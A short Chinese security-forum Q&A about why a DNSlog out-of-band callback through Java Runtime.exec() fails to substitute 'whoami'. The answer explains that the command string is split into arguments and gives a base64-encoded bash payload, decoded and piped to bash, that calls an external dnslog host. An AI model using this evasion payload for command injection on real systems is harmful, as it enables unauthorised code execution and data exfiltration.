奇安信攻防社区-Runtime.exec()，对执行的dnslog回显whoami没有解析，直接带出来whoami，是怎么回事呀？

Runtime.exec()，对执行的dnslog回显whoami没有解析，直接带出来whoami，是怎么回事呀？

分类：其他

默认排序时间排序

1 个回答

龙傲天 2022-07-14 14:03

他会分割成数组破坏参数，编码一下就好了

payload:bash -c {echo,bnNsb29rdXAgMTIzLmRuc2xvZy5jbg==}|{base64,-d}|{bash,-i}